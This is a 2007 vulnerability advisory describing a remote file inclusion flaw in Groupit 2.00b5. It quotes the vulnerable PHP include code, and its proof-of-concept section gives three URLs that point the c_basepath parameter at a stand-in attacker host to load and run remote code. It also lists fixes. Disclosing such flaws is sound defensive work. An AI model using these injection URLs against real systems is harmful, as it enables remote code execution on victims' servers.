Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability

                                                -------------------------------------------------------------------------------------
[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------

Author          : Dedi Dwianto a.k.a the_day
Date Found      : March, 15th 2007
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv75-theday-2007.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~

Application     : Groupit
version         : 2.00b5
URL             : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include&nbsp;\"$c_basepath/base/groupit.start.inc\";

if&nbsp;(!empty($c_is_search))
{
&nbsp;&nbsp;include&nbsp;\"$c_basepath/modules/search/main.inc\";
}&nbsp;else
{
&nbsp;&nbsp;if&nbsp;($c_is_section)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;&nbsp;\"$c_basepath/modules/content/section.inc\";
&nbsp;&nbsp;}&nbsp;else
&nbsp;&nbsp;.........

include&nbsp;\"$c_basepath/base/groupit.stop.inc\";
?>
----------------------------------------------------------

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;\"$c_basepath\"&nbsp;parameter&nbsp;in&nbsp;load.inc.php&nbsp;is&nbsp;not
properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used.&nbsp;This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;execute
arbitrary&nbsp;PHP&nbsp;code&nbsp;by&nbsp;including&nbsp;files&nbsp;from&nbsp;local&nbsp;or&nbsp;external
resources.

also&nbsp;affected&nbsp;files&nbsp;:

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and&nbsp;More&nbsp;....



Proof&nbsp;Of&nbsp;Concept:
~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$c_basepath&nbsp;affected&nbsp;files.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~
~&nbsp;y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~&nbsp;Jessy&nbsp;Nice&nbsp;Girl
~&nbsp;az001,bomm_3x,matdhule
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;-&nbsp;#e-c-h-o&nbsp;@irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
&nbsp;&nbsp;&nbsp;&nbsp;EcHo&nbsp;Research&nbsp;&&nbsp;Development&nbsp;Center
&nbsp;&nbsp;&nbsp;&nbsp;http://advisories.echo.or.id
&nbsp;&nbsp;&nbsp;&nbsp;erdc[at]echo[dot]or[dot]id
&nbsp;&nbsp;&nbsp;&nbsp;the_day[at]echo[dot]or[dot]id

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]----------------------------------

&nbsp;